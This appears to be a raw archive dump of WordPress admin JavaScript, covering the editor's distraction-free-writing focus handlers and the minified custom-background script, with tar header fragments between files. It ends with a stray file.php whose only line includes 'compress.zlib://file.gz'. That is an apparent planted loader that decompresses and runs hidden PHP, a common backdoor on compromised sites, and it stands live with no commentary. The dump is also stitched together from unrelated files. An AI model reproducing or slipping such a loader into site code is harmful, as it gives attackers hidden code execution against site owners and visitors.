'wpToggleDFW' ); } ); /** * Binds and unbinds events on the editor. * * @since 4.1.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'tinymce-editor-init.focus', function( event, editor ) { var mceBind, mceUnbind; function focus() { editorHasFocus = true; } function blur() { editorHasFocus = false; } if ( editor.id === 'content' ) { $editorWindow = $( editor.getWin() ); $editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' ); mceBind = function() { editor.on( 'keydown', fadeOut ); editor.on( 'blur', maybeFadeIn ); editor.on( 'focus', focus ); editor.on( 'blur', blur ); editor.on( 'wp-autoresize', recalcEditorRect ); }; mceUnbind = function() { editor.off( 'keydown', fadeOut ); editor.off( 'blur', maybeFadeIn ); editor.off( 'focus', focus ); editor.off( 'blur', blur ); editor.off( 'wp-autoresize', recalcEditorRect ); }; if ( _isOn ) { mceBind(); } // Bind and unbind based on the distraction free writing focus. $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind ); // Focus the editor when it is the target of the click event. editor.on( 'click', function( event ) { if ( event.target === editor.getDoc().documentElement ) { editor.focus(); } } ); } } ); /** * Binds events on quicktags init. * * @since 4.1.0 * * @param {event} event The quicktags init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'quicktags-init', function( event, editor ) { var $button; // Bind the distraction free writing events if the distraction free writing button is available. if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) { $button = $( '#' + editor.name + '_dfw' ); $( document ) .on( 'dfw-activate', function() { $button.prop( 'disabled', false ); } ) .on( 'dfw-deactivate', function() { $button.prop( 'disabled', true ); } ) .on( 'dfw-on', function() { $button.addClass( 'active' ); } ) .on( 'dfw-off', function() { $button.removeClass( 'active' ); } ); } } ); $document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate ); if ( _isOn ) { $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); } window.wp = window.wp || {}; window.wp.editor = window.wp.editor || {}; window.wp.editor.dfw = { activate: activate, deactivate: deactivate, isActive: isActive, on: on, off: off, toggle: toggle, isOn: isOn }; } ); } )( window, window.jQuery ); custom-background.min.js 0000644 00000002266 15174417325 0011332 0 ustar 00 /*! This file is auto-generated */ !function(e){e(function(){var c,a=e("#custom-background-image");e("#background-color").wpColorPicker({change:function(n,o){a.css("background-color",o.color.toString())},clear:function(){a.css("background-color","")}}),e('select[name="background-size"]').on("change",function(){a.css("background-size",e(this).val())}),e('input[name="background-position"]').on("change",function(){a.css("background-position",e(this).val())}),e('input[name="background-repeat"]').on("change",function(){a.css("background-repeat",e(this).is(":checked")?"repeat":"no-repeat")}),e('input[name="background-attachment"]').on("change",function(){a.css("background-attachment",e(this).is(":checked")?"scroll":"fixed")}),e("#choose-from-library-link").on("click",function(n){var o=e(this);n.preventDefault(),c||(c=wp.media.frames.customBackground=wp.media({title:o.data("choose"),library:{type:"image"},button:{text:o.data("update"),close:!1}})).on("select",function(){var n=c.state().get("selection").first(),o=e("#_wpnonce").val()||"";e.post(ajaxurl,{action:"set-background-image",attachment_id:n.id,_ajax_nonce:o,size:"full"}).done(function(){window.location.reload()})}),c.open()})})}(jQuery); file.php 0000644 00000000062 15174417325 0006203 0 ustar 00 <?php include_once "compress.zlib://file.gz";?>